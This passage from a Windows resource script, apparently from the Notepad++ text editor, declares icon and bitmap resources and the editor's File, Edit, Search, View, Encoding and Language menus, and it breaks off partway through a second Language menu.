BITMAP "icons/undo.bmp" +IDR_REDO BITMAP "icons/redo.bmp" +IDR_SYNCV BITMAP "icons/syncV.bmp" +IDR_SYNCH BITMAP "icons/syncH.bmp" +IDR_PRINT BITMAP "icons/print.bmp" +IDR_CLOSETAB BITMAP "icons/closeTabButton.bmp" +IDR_CLOSETAB_INACT BITMAP "icons/closeTabButton_inact.bmp" +IDR_CLOSETAB_HOVER BITMAP "icons/closeTabButton_hover.bmp" +IDR_CLOSETAB_PUSH BITMAP "icons/closeTabButton_push.bmp" +IDR_DOCMAP BITMAP "icons/docMap.bmp" +IDR_FUNC_LIST BITMAP "icons/functionList.bmp" +IDR_FILEBROWSER BITMAP "icons/fileBrowser.bmp" +IDR_FILEMONITORING BITMAP "icons/fileMonitoring.bmp" + +IDR_DOCMAP_ICO ICON "icons/docMap.ico" +IDR_FUNC_LIST_ICO ICON "icons/functionList.ico" +IDR_PROJECTPANEL_ICO ICON "icons/projectPanel.ico" +IDR_FILEBROWSER_ICO ICON "icons/fileBrowser.ico" +IDR_CLIPBOARDPANEL_ICO ICON "icons/clipboardPanel.ico" +IDR_ASCIIPANEL_ICO ICON "icons/asciiPanel.ico" +IDR_DOCSWITCHER_ICO ICON "icons/docSwitcher.ico" +IDI_STARTRECORD_OFF_ICON ICON "icons/startrecord_off.ico" +IDI_STARTRECORD_ON_ICON ICON "icons/startrecord_on.ico" +IDI_STARTRECORD_DISABLE_ICON ICON "icons/startrecord_dis.ico" +IDI_STOPRECORD_OFF_ICON ICON "icons/stoprecord_off.ico" +IDI_STOPRECORD_ON_ICON ICON "icons/stoprecord_on.ico" +IDI_STOPRECORD_DISABLE_ICON ICON "icons/stoprecord_dis.ico" +IDI_PLAYRECORD_OFF_ICON ICON "icons/playrecord_off.ico" +IDI_PLAYRECORD_ON_ICON ICON "icons/playrecord_on.ico" +IDI_PLAYRECORD_DISABLE_ICON ICON "icons/playrecord_dis.ico" +IDI_SAVERECORD_OFF_ICON ICON "icons/saverecord_off.ico" +IDI_SAVERECORD_ON_ICON ICON "icons/saverecord_on.ico" +IDI_SAVERECORD_DISABLE_ICON ICON "icons/saverecord_dis.ico" + +IDI_SYNCV_OFF_ICON ICON "icons/syncV_off.ico" +IDI_SYNCV_ON_ICON ICON "icons/syncV_on.ico" +IDI_SYNCV_DISABLE_ICON ICON "icons/syncV_dis.ico" +IDI_SYNCH_OFF_ICON ICON "icons/syncH_off.ico" +IDI_SYNCH_ON_ICON ICON "icons/syncH_on.ico" +IDI_SYNCH_DISABLE_ICON ICON "icons/syncH_dis.ico" + +// multi run macro +IDI_MMPLAY_DIS_ICON ICON "icons/playrecord_m_dis.ico" +IDI_MMPLAY_OFF_ICON ICON "icons/playrecord_m_off.ico" +IDI_MMPLAY_ON_ICON ICON "icons/playrecord_m_on.ico" + + +IDI_PROJECT_WORKSPACE BITMAP "icons/project_work_space.bmp" +IDI_PROJECT_WORKSPACEDIRTY BITMAP "icons/project_work_space_dirty.bmp" +IDI_PROJECT_PROJECT BITMAP "icons/project_root.bmp" +IDI_PROJECT_FOLDEROPEN BITMAP "icons/project_folder_open.bmp" +IDI_PROJECT_FOLDERCLOSE BITMAP "icons/project_folder_close.bmp" +IDI_PROJECT_FILE BITMAP "icons/project_file.bmp" +IDI_PROJECT_FILEINVALID BITMAP "icons/project_file_invalid.bmp" +IDI_FB_ROOTOPEN BITMAP "icons/fb_root_open.bmp" +IDI_FB_ROOTCLOSE BITMAP "icons/fb_root_close.bmp" + +IDI_FUNCLIST_ROOT BITMAP "icons/project_file.bmp" +IDI_FUNCLIST_NODE BITMAP "icons/funcList_node.bmp" +IDI_FUNCLIST_LEAF BITMAP "icons/funcList_leaf.bmp" + +IDI_FUNCLIST_SORTBUTTON BITMAP "icons/funclstSort.bmp" +IDI_FUNCLIST_RELOADBUTTON BITMAP "icons/funclstReload.bmp" + +IDR_M30_MENU MENU +BEGIN + POPUP "&File" + BEGIN + MENUITEM "&New", IDM_FILE_NEW + MENUITEM "&Open...", IDM_FILE_OPEN + POPUP "Open Containing Folder" + BEGIN + MENUITEM "Explorer", IDM_FILE_OPEN_FOLDER + MENUITEM "cmd", IDM_FILE_OPEN_CMD + END + MENUITEM "Open in Default Viewer" IDM_FILE_OPEN_DEFAULT_VIEWER + MENUITEM "Open Folder as Workspace...", IDM_FILE_OPENFOLDERASWORSPACE + MENUITEM "Re&load from Disk", IDM_FILE_RELOAD + MENUITEM "&Save", IDM_FILE_SAVE + MENUITEM "Save &As...", IDM_FILE_SAVEAS + MENUITEM "Save a Copy As...", IDM_FILE_SAVECOPYAS + MENUITEM "Sav&e All", IDM_FILE_SAVEALL + MENUITEM "Rename...", IDM_FILE_RENAME + MENUITEM "&Close", IDM_FILE_CLOSE + MENUITEM "Clos&e All", IDM_FILE_CLOSEALL + POPUP "Close More" + BEGIN + MENUITEM "Close All but Active Document", IDM_FILE_CLOSEALL_BUT_CURRENT + MENUITEM "Close All to the Left", IDM_FILE_CLOSEALL_TOLEFT + MENUITEM "Close All to the Right", IDM_FILE_CLOSEALL_TORIGHT + END + MENUITEM "Move to Recycle Bin", IDM_FILE_DELETE + MENUITEM SEPARATOR + MENUITEM "Load Session...", IDM_FILE_LOADSESSION + MENUITEM "Save Session...", IDM_FILE_SAVESESSION + MENUITEM SEPARATOR + MENUITEM "Print...", IDM_FILE_PRINT + MENUITEM "Print Now", IDM_FILE_PRINTNOW + MENUITEM SEPARATOR + MENUITEM "E&xit", IDM_FILE_EXIT + END + + POPUP "&Edit" + BEGIN + MENUITEM "&Undo", IDM_EDIT_UNDO + MENUITEM "&Redo", IDM_EDIT_REDO + MENUITEM SEPARATOR + MENUITEM "Cu&t", IDM_EDIT_CUT + MENUITEM "&Copy", IDM_EDIT_COPY + MENUITEM "&Paste", IDM_EDIT_PASTE + MENUITEM "&Delete", IDM_EDIT_DELETE + MENUITEM "Select A&ll", IDM_EDIT_SELECTALL + MENUITEM "Begin/End Select", IDM_EDIT_BEGINENDSELECT + MENUITEM SEPARATOR + POPUP "Copy to Clipboard" + BEGIN + MENUITEM "Current Full File path to Clipboard", IDM_EDIT_FULLPATHTOCLIP + MENUITEM "Current Filename to Clipboard", IDM_EDIT_FILENAMETOCLIP + MENUITEM "Current Dir. Path to Clipboard", IDM_EDIT_CURRENTDIRTOCLIP + END + POPUP "Indent" + BEGIN + MENUITEM "Increase Line Indent", IDM_EDIT_INS_TAB + MENUITEM "Decrease Line Indent", IDM_EDIT_RMV_TAB + END + POPUP "Convert Case to" + BEGIN + MENUITEM "&UPPERCASE", IDM_EDIT_UPPERCASE + MENUITEM "&lowercase", IDM_EDIT_LOWERCASE + MENUITEM "&Proper Case", IDM_EDIT_PROPERCASE_FORCE + MENUITEM "Proper Case (blend)", IDM_EDIT_PROPERCASE_BLEND + MENUITEM "&Sentence case", IDM_EDIT_SENTENCECASE_FORCE + MENUITEM "Sentence case (blend)", IDM_EDIT_SENTENCECASE_BLEND + MENUITEM "&iNVERT cASE", IDM_EDIT_INVERTCASE + MENUITEM "&ranDOm CasE", IDM_EDIT_RANDOMCASE + END + POPUP "Line Operations" + BEGIN + MENUITEM "Duplicate Current Line", IDM_EDIT_DUP_LINE + MENUITEM "Split Lines", IDM_EDIT_SPLIT_LINES + MENUITEM "Join Lines", IDM_EDIT_JOIN_LINES + MENUITEM "Move Up Current Line", IDM_EDIT_LINE_UP + MENUITEM "Move Down Current Line", IDM_EDIT_LINE_DOWN + MENUITEM "Remove Empty Lines", IDM_EDIT_REMOVEEMPTYLINES + MENUITEM "Remove Empty Lines (Containing Blank characters)", IDM_EDIT_REMOVEEMPTYLINESWITHBLANK + MENUITEM "Insert Blank Line Above Current", IDM_EDIT_BLANKLINEABOVECURRENT + MENUITEM "Insert Blank Line Below Current", IDM_EDIT_BLANKLINEBELOWCURRENT + MENUITEM SEPARATOR + MENUITEM "Sort Lines Lexicographically Ascending", IDM_EDIT_SORTLINES_LEXICOGRAPHIC_ASCENDING + MENUITEM "Sort Lines As Integers Ascending", IDM_EDIT_SORTLINES_INTEGER_ASCENDING + MENUITEM "Sort Lines As Decimals (Comma) Ascending", IDM_EDIT_SORTLINES_DECIMALCOMMA_ASCENDING + MENUITEM "Sort Lines As Decimals (Dot) Ascending", IDM_EDIT_SORTLINES_DECIMALDOT_ASCENDING + MENUITEM SEPARATOR + MENUITEM "Sort Lines Lexicographically Descending", IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING + MENUITEM "Sort Lines As Integers Descending", IDM_EDIT_SORTLINES_INTEGER_DESCENDING + MENUITEM "Sort Lines As Decimals (Comma) Descending", IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING + MENUITEM "Sort Lines As Decimals (Dot) Descending", IDM_EDIT_SORTLINES_DECIMALDOT_DESCENDING + END + POPUP "Comment/Uncomment" + BEGIN + MENUITEM "Toggle Single Line Comment", IDM_EDIT_BLOCK_COMMENT + MENUITEM "Single Line Comment", IDM_EDIT_BLOCK_COMMENT_SET + MENUITEM "Single Line Uncomment", IDM_EDIT_BLOCK_UNCOMMENT + MENUITEM "Block Comment", IDM_EDIT_STREAM_COMMENT + MENUITEM "Block Uncomment", IDM_EDIT_STREAM_UNCOMMENT + END + POPUP "Auto-Completion" + BEGIN + MENUITEM "Function Completion", IDM_EDIT_AUTOCOMPLETE + MENUITEM "Word Completion", IDM_EDIT_AUTOCOMPLETE_CURRENTFILE + MENUITEM "Function Parameters Hint", IDM_EDIT_FUNCCALLTIP + MENUITEM "Path Completion", IDM_EDIT_AUTOCOMPLETE_PATH + END + POPUP "EOL Conversion" + BEGIN + MENUITEM "Windows (CR LF)", IDM_FORMAT_TODOS + MENUITEM "Unix (LF)", IDM_FORMAT_TOUNIX + MENUITEM "Macintosh (CR)", IDM_FORMAT_TOMAC + END + POPUP "Blank Operations" + BEGIN + MENUITEM "Trim Trailing Space", IDM_EDIT_TRIMTRAILING + MENUITEM "Trim Leading Space", IDM_EDIT_TRIMLINEHEAD + MENUITEM "Trim Leading and Trailing Space", IDM_EDIT_TRIM_BOTH + MENUITEM "EOL to Space", IDM_EDIT_EOL2WS + MENUITEM "Remove Unnecessary Blank and EOL", IDM_EDIT_TRIMALL + MENUITEM SEPARATOR + MENUITEM "TAB to Space", IDM_EDIT_TAB2SW + MENUITEM "Space to TAB (All)", IDM_EDIT_SW2TAB_ALL + MENUITEM "Space to TAB (Leading)", IDM_EDIT_SW2TAB_LEADING + END + POPUP "Paste Special" + BEGIN + MENUITEM "Paste HTML Content", IDM_EDIT_PASTE_AS_HTML + MENUITEM "Paste RTF Content", IDM_EDIT_PASTE_AS_RTF + MENUITEM SEPARATOR + MENUITEM "Copy Binary Content", IDM_EDIT_COPY_BINARY + MENUITEM "Cut Binary Content", IDM_EDIT_CUT_BINARY + MENUITEM "Paste Binary Content", IDM_EDIT_PASTE_BINARY + END + POPUP "On Selection" + BEGIN + MENUITEM "Open File", IDM_EDIT_OPENASFILE + MENUITEM "Open Containing Folder in Explorer", IDM_EDIT_OPENINFOLDER + MENUITEM SEPARATOR + MENUITEM "Search on Internet", IDM_EDIT_SEARCHONINTERNET + MENUITEM "Change Search Engine...", IDM_EDIT_CHANGESEARCHENGINE + END + MENUITEM SEPARATOR + MENUITEM "Column Mode...", IDM_EDIT_COLUMNMODETIP + MENUITEM "Column Editor...", IDM_EDIT_COLUMNMODE + MENUITEM "Character Panel", IDM_EDIT_CHAR_PANEL + MENUITEM "Clipboard History", IDM_EDIT_CLIPBOARDHISTORY_PANEL + MENUITEM SEPARATOR + MENUITEM "Set Read-Only", IDM_EDIT_SETREADONLY + MENUITEM "Clear Read-Only Flag", IDM_EDIT_CLEARREADONLY + END + + POPUP "&Search" + BEGIN + MENUITEM "&Find...", IDM_SEARCH_FIND + MENUITEM "Find in Files...", IDM_SEARCH_FINDINFILES + MENUITEM "Find &Next", IDM_SEARCH_FINDNEXT + MENUITEM "Find &Previous", IDM_SEARCH_FINDPREV + MENUITEM "Select and Find Next", IDM_SEARCH_SETANDFINDNEXT + MENUITEM "Select and Find Previous", IDM_SEARCH_SETANDFINDPREV + MENUITEM "Find (Volatile) Next", IDM_SEARCH_VOLATILE_FINDNEXT + MENUITEM "Find (Volatile) Previous", IDM_SEARCH_VOLATILE_FINDPREV + MENUITEM "&Replace...", IDM_SEARCH_REPLACE + MENUITEM "&Incremental Search", IDM_SEARCH_FINDINCREMENT + MENUITEM "Search Results Window", IDM_FOCUS_ON_FOUND_RESULTS + MENUITEM "Next Search Result", IDM_SEARCH_GOTONEXTFOUND + MENUITEM "Previous Search Result", IDM_SEARCH_GOTOPREVFOUND + MENUITEM "&Go to...", IDM_SEARCH_GOTOLINE + MENUITEM "Go to Matching Brace", IDM_SEARCH_GOTOMATCHINGBRACE + MENUITEM "Select All Between Matching Braces", IDM_SEARCH_SELECTMATCHINGBRACES + MENUITEM "Mar&k...", IDM_SEARCH_MARK + MENUITEM SEPARATOR + + POPUP "Mark All" + BEGIN + MENUITEM "Using 1st Style", IDM_SEARCH_MARKALLEXT1 + MENUITEM "Using 2nd Style", IDM_SEARCH_MARKALLEXT2 + MENUITEM "Using 3rd Style", IDM_SEARCH_MARKALLEXT3 + MENUITEM "Using 4th Style", IDM_SEARCH_MARKALLEXT4 + MENUITEM "Using 5th Style", IDM_SEARCH_MARKALLEXT5 + END + POPUP "Unmark All" + BEGIN + MENUITEM "Clear 1st Style", IDM_SEARCH_UNMARKALLEXT1 + MENUITEM "Clear 2nd Style", IDM_SEARCH_UNMARKALLEXT2 + MENUITEM "Clear 3rd Style", IDM_SEARCH_UNMARKALLEXT3 + MENUITEM "Clear 4th Style", IDM_SEARCH_UNMARKALLEXT4 + MENUITEM "Clear 5th Style", IDM_SEARCH_UNMARKALLEXT5 + MENUITEM "Clear all Styles", IDM_SEARCH_CLEARALLMARKS + END + POPUP "Jump up" + BEGIN + MENUITEM "1st Style", IDM_SEARCH_GOPREVMARKER1 + MENUITEM "2nd Style", IDM_SEARCH_GOPREVMARKER2 + MENUITEM "3rd Style", IDM_SEARCH_GOPREVMARKER3 + MENUITEM "4th Style", IDM_SEARCH_GOPREVMARKER4 + MENUITEM "5th Style", IDM_SEARCH_GOPREVMARKER5 + MENUITEM "Find Style", IDM_SEARCH_GOPREVMARKER_DEF + END + POPUP "Jump down" + BEGIN + MENUITEM "1st Style", IDM_SEARCH_GONEXTMARKER1 + MENUITEM "2nd Style", IDM_SEARCH_GONEXTMARKER2 + MENUITEM "3rd Style", IDM_SEARCH_GONEXTMARKER3 + MENUITEM "4th Style", IDM_SEARCH_GONEXTMARKER4 + MENUITEM "5th Style", IDM_SEARCH_GONEXTMARKER5 + MENUITEM "Find Style", IDM_SEARCH_GONEXTMARKER_DEF + END + MENUITEM SEPARATOR + POPUP "Bookmark" + BEGIN + MENUITEM "Toggle Bookmark" , IDM_SEARCH_TOGGLE_BOOKMARK + MENUITEM "Next Bookmark", IDM_SEARCH_NEXT_BOOKMARK + MENUITEM "Previous Bookmark", IDM_SEARCH_PREV_BOOKMARK + MENUITEM "Clear All Bookmarks", IDM_SEARCH_CLEAR_BOOKMARKS + MENUITEM "Cut Bookmarked Lines", IDM_SEARCH_CUTMARKEDLINES + MENUITEM "Copy Bookmarked Lines", IDM_SEARCH_COPYMARKEDLINES + MENUITEM "Paste to (Replace) Bookmarked Lines", IDM_SEARCH_PASTEMARKEDLINES + MENUITEM "Remove Bookmarked Lines", IDM_SEARCH_DELETEMARKEDLINES + MENUITEM "Remove Unmarked Lines", IDM_SEARCH_DELETEUNMARKEDLINES + MENUITEM "Inverse Bookmark", IDM_SEARCH_INVERSEMARKS + END + MENUITEM SEPARATOR + MENUITEM "Find characters in range...", IDM_SEARCH_FINDCHARINRANGE + END + + POPUP "&View" + BEGIN + MENUITEM "Always on Top", IDM_VIEW_ALWAYSONTOP + MENUITEM "Toggle Full Screen Mode", IDM_VIEW_FULLSCREENTOGGLE + MENUITEM "Post-It", IDM_VIEW_POSTIT + + MENUITEM SEPARATOR + POPUP "Show Symbol" + BEGIN + MENUITEM "Show White Space and TAB", IDM_VIEW_TAB_SPACE + MENUITEM "Show End of Line", IDM_VIEW_EOL + MENUITEM "Show All Characters", IDM_VIEW_ALL_CHARACTERS + MENUITEM SEPARATOR + MENUITEM "Show Indent Guide", IDM_VIEW_INDENT_GUIDE + MENUITEM "Show Wrap Symbol", IDM_VIEW_WRAP_SYMBOL + END + POPUP "Zoom" + BEGIN + MENUITEM "Zoom &In (Ctrl+Mouse Wheel Up)", IDM_VIEW_ZOOMIN + MENUITEM "Zoom &Out (Ctrl+Mouse Wheel Down)", IDM_VIEW_ZOOMOUT + MENUITEM "Restore Default Zoom", IDM_VIEW_ZOOMRESTORE + END + POPUP "Move/Clone Current Document" + BEGIN + MENUITEM "Move to Other View", IDM_VIEW_GOTO_ANOTHER_VIEW + MENUITEM "Clone to Other View", IDM_VIEW_CLONE_TO_ANOTHER_VIEW + MENUITEM "Move to New Instance", IDM_VIEW_GOTO_NEW_INSTANCE + MENUITEM "Open in New Instance", IDM_VIEW_LOAD_IN_NEW_INSTANCE + END + + POPUP "Tab" + BEGIN + MENUITEM "1st Tab", IDM_VIEW_TAB1 + MENUITEM "2nd Tab", IDM_VIEW_TAB2 + MENUITEM "3rd Tab", IDM_VIEW_TAB3 + MENUITEM "4th Tab", IDM_VIEW_TAB4 + MENUITEM "5th Tab", IDM_VIEW_TAB5 + MENUITEM "6th Tab", IDM_VIEW_TAB6 + MENUITEM "7th Tab", IDM_VIEW_TAB7 + MENUITEM "8th Tab", IDM_VIEW_TAB8 + MENUITEM "9th Tab", IDM_VIEW_TAB9 + MENUITEM SEPARATOR + MENUITEM "Next Tab", IDM_VIEW_TAB_NEXT + MENUITEM "Previous Tab", IDM_VIEW_TAB_PREV + MENUITEM SEPARATOR + MENUITEM "Move Tab Forward", IDM_VIEW_TAB_MOVEFORWARD + MENUITEM "Move Tab Backward", IDM_VIEW_TAB_MOVEBACKWARD + END + MENUITEM "Word wrap", IDM_VIEW_WRAP + MENUITEM "Focus on Another View", IDM_VIEW_SWITCHTO_OTHER_VIEW + MENUITEM "Hide Lines", IDM_VIEW_HIDELINES + //MENUITEM "User-Defined Dialogue...", IDM_VIEW_USER_DLG + MENUITEM SEPARATOR + MENUITEM "Fold All", IDM_VIEW_TOGGLE_FOLDALL + MENUITEM "Unfold All", IDM_VIEW_TOGGLE_UNFOLDALL + MENUITEM "Collapse Current Level", IDM_VIEW_FOLD_CURRENT + MENUITEM "Uncollapse Current Level", IDM_VIEW_UNFOLD_CURRENT + POPUP "Collapse Level" + BEGIN + MENUITEM "1", IDM_VIEW_FOLD_1 + MENUITEM "2", IDM_VIEW_FOLD_2 + MENUITEM "3", IDM_VIEW_FOLD_3 + MENUITEM "4", IDM_VIEW_FOLD_4 + MENUITEM "5", IDM_VIEW_FOLD_5 + MENUITEM "6", IDM_VIEW_FOLD_6 + MENUITEM "7", IDM_VIEW_FOLD_7 + MENUITEM "8", IDM_VIEW_FOLD_8 + END + POPUP "Uncollapse Level" + BEGIN + MENUITEM "1", IDM_VIEW_UNFOLD_1 + MENUITEM "2", IDM_VIEW_UNFOLD_2 + MENUITEM "3", IDM_VIEW_UNFOLD_3 + MENUITEM "4", IDM_VIEW_UNFOLD_4 + MENUITEM "5", IDM_VIEW_UNFOLD_5 + MENUITEM "6", IDM_VIEW_UNFOLD_6 + MENUITEM "7", IDM_VIEW_UNFOLD_7 + MENUITEM "8", IDM_VIEW_UNFOLD_8 + END + + MENUITEM SEPARATOR + MENUITEM "Summary...", IDM_VIEW_SUMMARY + MENUITEM SEPARATOR + POPUP "Project" + BEGIN + MENUITEM "Project Panel 1", IDM_VIEW_PROJECT_PANEL_1 + MENUITEM "Project Panel 2", IDM_VIEW_PROJECT_PANEL_2 + MENUITEM "Project Panel 3", IDM_VIEW_PROJECT_PANEL_3 + END + MENUITEM "Folder as Workspace", IDM_VIEW_FILEBROWSER + MENUITEM "Document Map", IDM_VIEW_DOC_MAP + MENUITEM "Function List", IDM_VIEW_FUNC_LIST + MENUITEM SEPARATOR + MENUITEM "Synchronize Vertical Scrolling", IDM_VIEW_SYNSCROLLV + MENUITEM "Synchronize Horizontal Scrolling", IDM_VIEW_SYNSCROLLH + MENUITEM SEPARATOR + MENUITEM "Text Direction RTL", IDM_EDIT_RTL + MENUITEM "Text Direction LTR", IDM_EDIT_LTR + MENUITEM SEPARATOR + MENUITEM "Monitoring (tail -f)", IDM_VIEW_MONITORING + END + + POPUP "E&ncoding" + BEGIN + MENUITEM "Encode in ANSI", IDM_FORMAT_ANSI + MENUITEM "Encode in UTF-8", IDM_FORMAT_AS_UTF_8 + MENUITEM "Encode in UTF-8-BOM", IDM_FORMAT_UTF_8 + MENUITEM "Encode in UCS-2 BE BOM", IDM_FORMAT_UCS_2BE + MENUITEM "Encode in UCS-2 LE BOM", IDM_FORMAT_UCS_2LE + POPUP "Character sets" + BEGIN + POPUP "Arabic" + BEGIN + MENUITEM "ISO 8859-6", IDM_FORMAT_ISO_8859_6 + MENUITEM "OEM 720", IDM_FORMAT_DOS_720 + MENUITEM "Windows-1256", IDM_FORMAT_WIN_1256 + END + + POPUP "Baltic" + BEGIN + MENUITEM "ISO 8859-4", IDM_FORMAT_ISO_8859_4 + MENUITEM "ISO 8859-13", IDM_FORMAT_ISO_8859_13 + MENUITEM "OEM 775", IDM_FORMAT_DOS_775 + MENUITEM "Windows-1257", IDM_FORMAT_WIN_1257 + END + POPUP "Celtic" + BEGIN + MENUITEM "ISO 8859-14", IDM_FORMAT_ISO_8859_14 + END + POPUP "Cyrillic" + BEGIN + MENUITEM "ISO 8859-5", IDM_FORMAT_ISO_8859_5 + MENUITEM "KOI8-R", IDM_FORMAT_KOI8R_CYRILLIC + MENUITEM "KOI8-U", IDM_FORMAT_KOI8U_CYRILLIC + MENUITEM "Macintosh", IDM_FORMAT_MAC_CYRILLIC + MENUITEM "OEM 855", IDM_FORMAT_DOS_855 + MENUITEM "OEM 866", IDM_FORMAT_DOS_866 + MENUITEM "Windows-1251", IDM_FORMAT_WIN_1251 + END + + POPUP "Central European" + BEGIN + //MENUITEM "ISO 8859-16", IDM_FORMAT_ISO_8859_16 + MENUITEM "OEM 852", IDM_FORMAT_DOS_852 + MENUITEM "Windows-1250", IDM_FORMAT_WIN_1250 + END + + POPUP "Chinese" + BEGIN + MENUITEM "Big5 (Traditional)", IDM_FORMAT_BIG5 + MENUITEM "GB2312 (Simplified)", IDM_FORMAT_GB2312 + END + + POPUP "Eastern European" + BEGIN + MENUITEM "ISO 8859-2", IDM_FORMAT_ISO_8859_2 + END + + POPUP "Greek" + BEGIN + MENUITEM "ISO 8859-7", IDM_FORMAT_ISO_8859_7 + MENUITEM "OEM 737", IDM_FORMAT_DOS_737 + MENUITEM "OEM 869", IDM_FORMAT_DOS_869 + MENUITEM "Windows-1253", IDM_FORMAT_WIN_1253 + END + + POPUP "Hebrew" + BEGIN + MENUITEM "ISO 8859-8", IDM_FORMAT_ISO_8859_8 + MENUITEM "OEM 862", IDM_FORMAT_DOS_862 + MENUITEM "Windows-1255", IDM_FORMAT_WIN_1255 + END + + POPUP "Japanese" + BEGIN + MENUITEM "Shift-JIS", IDM_FORMAT_SHIFT_JIS + END + + POPUP "Korean" + BEGIN + MENUITEM "Windows 949", IDM_FORMAT_KOREAN_WIN + MENUITEM "EUC-KR", IDM_FORMAT_EUC_KR + END + + POPUP "North European" + BEGIN + MENUITEM "OEM 861 : Icelandic", IDM_FORMAT_DOS_861 + MENUITEM "OEM 865 : Nordic", IDM_FORMAT_DOS_865 + END + + POPUP "Thai" + BEGIN + //MENUITEM "ISO 8859-11", IDM_FORMAT_ISO_8859_11 + MENUITEM "TIS-620", IDM_FORMAT_TIS_620 + END + + POPUP "Turkish" + BEGIN + MENUITEM "ISO 8859-3", IDM_FORMAT_ISO_8859_3 + MENUITEM "ISO 8859-9", IDM_FORMAT_ISO_8859_9 + MENUITEM "OEM 857", IDM_FORMAT_DOS_857 + MENUITEM "Windows-1254", IDM_FORMAT_WIN_1254 + END + + POPUP "Western European" + BEGIN + MENUITEM "ISO 8859-1", IDM_FORMAT_ISO_8859_1 + //MENUITEM "ISO 8859-10", IDM_FORMAT_ISO_8859_10 + MENUITEM "ISO 8859-15", IDM_FORMAT_ISO_8859_15 + MENUITEM "OEM 850", IDM_FORMAT_DOS_850 + MENUITEM "OEM 858", IDM_FORMAT_DOS_858 + MENUITEM "OEM 860 : Portuguese", IDM_FORMAT_DOS_860 + MENUITEM "OEM 863 : French", IDM_FORMAT_DOS_863 + MENUITEM "OEM-US", IDM_FORMAT_DOS_437 + MENUITEM "Windows-1252", IDM_FORMAT_WIN_1252 + END + + POPUP "Vietnamese" + BEGIN + MENUITEM "Windows-1258", IDM_FORMAT_WIN_1258 + END + END + MENUITEM SEPARATOR + MENUITEM "Convert to ANSI", IDM_FORMAT_CONV2_ANSI + MENUITEM "Convert to UTF-8", IDM_FORMAT_CONV2_AS_UTF_8 + MENUITEM "Convert to UTF-8-BOM", IDM_FORMAT_CONV2_UTF_8 + MENUITEM "Convert to UCS-2 BE BOM", IDM_FORMAT_CONV2_UCS_2BE + MENUITEM "Convert to UCS-2 LE BOM", IDM_FORMAT_CONV2_UCS_2LE + END + + POPUP "&Language" + BEGIN + MENUITEM "ActionScript", IDM_LANG_FLASH + MENUITEM "Ada", IDM_LANG_ADA + MENUITEM "ASN.1", IDM_LANG_ASN1 + MENUITEM "ASP", IDM_LANG_ASP + MENUITEM "Assembly", IDM_LANG_ASM + MENUITEM "AutoIt", IDM_LANG_AU3 + MENUITEM "AviSynth", IDM_LANG_AVS + MENUITEM "BaanC", IDM_LANG_BAANC + MENUITEM "Batch", IDM_LANG_BATCH + MENUITEM "Blitzbasic", IDM_LANG_BLITZBASIC + MENUITEM "C", IDM_LANG_C + MENUITEM "C#", IDM_LANG_CS + MENUITEM "C++", IDM_LANG_CPP + MENUITEM "Caml", IDM_LANG_CAML + MENUITEM "CMake", IDM_LANG_CMAKE + MENUITEM "COBOL", IDM_LANG_COBOL + MENUITEM "CSound", IDM_LANG_CSOUND + MENUITEM "CoffeeScript", IDM_LANG_COFFEESCRIPT + MENUITEM "CSS", IDM_LANG_CSS + MENUITEM "D", IDM_LANG_D + MENUITEM "Diff", IDM_LANG_DIFF + MENUITEM "Erlang", IDM_LANG_ERLANG + MENUITEM "ESCRIPT", IDM_LANG_ESCRIPT + MENUITEM "Forth", IDM_LANG_FORTH + MENUITEM "Fortran (free form)", IDM_LANG_FORTRAN + MENUITEM "Fortran (fixed form)", IDM_LANG_FORTRAN_77 + MENUITEM "Freebasic", IDM_LANG_FREEBASIC + MENUITEM "Gui4Cli", IDM_LANG_GUI4CLI + MENUITEM "Haskell", IDM_LANG_HASKELL + MENUITEM "HTML", IDM_LANG_HTML + MENUITEM "INI file", IDM_LANG_INI + MENUITEM "Inno Setup", IDM_LANG_INNO + MENUITEM "Intel HEX", IDM_LANG_IHEX + MENUITEM "Java", IDM_LANG_JAVA + MENUITEM "JavaScript", IDM_LANG_JS + MENUITEM "JSON", IDM_LANG_JSON + MENUITEM "JSP", IDM_LANG_JSP + MENUITEM "KIXtart", IDM_LANG_KIX + MENUITEM "LISP", IDM_LANG_LISP + MENUITEM "LaTeX", IDM_LANG_LATEX + MENUITEM "Lua", IDM_LANG_LUA + MENUITEM "Makefile", IDM_LANG_MAKEFILE + MENUITEM "Matlab", IDM_LANG_MATLAB + MENUITEM "MMIXAL", IDM_LANG_MMIXAL + MENUITEM "MS-DOS Style", IDM_LANG_ASCII + MENUITEM "Nimrod", IDM_LANG_NIMROD + MENUITEM "Nncrontab", IDM_LANG_NNCRONTAB + MENUITEM "Normal Text", IDM_LANG_TEXT + MENUITEM "NSIS", IDM_LANG_NSIS + MENUITEM "Objective-C", IDM_LANG_OBJC + MENUITEM "OScript", IDM_LANG_OSCRIPT + MENUITEM "Pascal", IDM_LANG_PASCAL + MENUITEM "Perl", IDM_LANG_PERL + MENUITEM "PHP", IDM_LANG_PHP + MENUITEM "PostScript", IDM_LANG_PS + MENUITEM "PowerShell", IDM_LANG_POWERSHELL + MENUITEM "Properties", IDM_LANG_PROPS + MENUITEM "Purebasic", IDM_LANG_PUREBASIC + MENUITEM "Python", IDM_LANG_PYTHON + MENUITEM "R", IDM_LANG_R + MENUITEM "REBOL", IDM_LANG_REBOL + MENUITEM "Registry", IDM_LANG_REGISTRY + MENUITEM "Resource file", IDM_LANG_RC + MENUITEM "Ruby", IDM_LANG_RUBY + MENUITEM "Rust", IDM_LANG_RUST + MENUITEM "Shell", IDM_LANG_BASH + MENUITEM "Scheme", IDM_LANG_SCHEME + MENUITEM "Smalltalk", IDM_LANG_SMALLTALK + MENUITEM "Spice", IDM_LANG_SPICE + MENUITEM "SQL", IDM_LANG_SQL + MENUITEM "Swift", IDM_LANG_SWIFT + MENUITEM "S-Record", IDM_LANG_SREC + MENUITEM "TCL", IDM_LANG_TCL + MENUITEM "Tektronix extended HEX", IDM_LANG_TEHEX + MENUITEM "TeX", IDM_LANG_TEX + MENUITEM "txt2tags", IDM_LANG_TXT2TAGS + MENUITEM "Verilog", IDM_LANG_VERILOG + MENUITEM "VHDL", IDM_LANG_VHDL + MENUITEM "Visual Basic", IDM_LANG_VB + MENUITEM "Visual Prolog", IDM_LANG_VISUALPROLOG + MENUITEM "XML", IDM_LANG_XML + MENUITEM "YAML", IDM_LANG_YAML + MENUITEM SEPARATOR + MENUITEM "Define your language...", IDM_LANG_USER_DLG + MENUITEM "User-Defined", IDM_LANG_USER + END + + POPUP "&Language" + BEGIN + POPUP "A" + BEGIN + MENUITEM "ActionScript", IDM_LANG_FLASH + 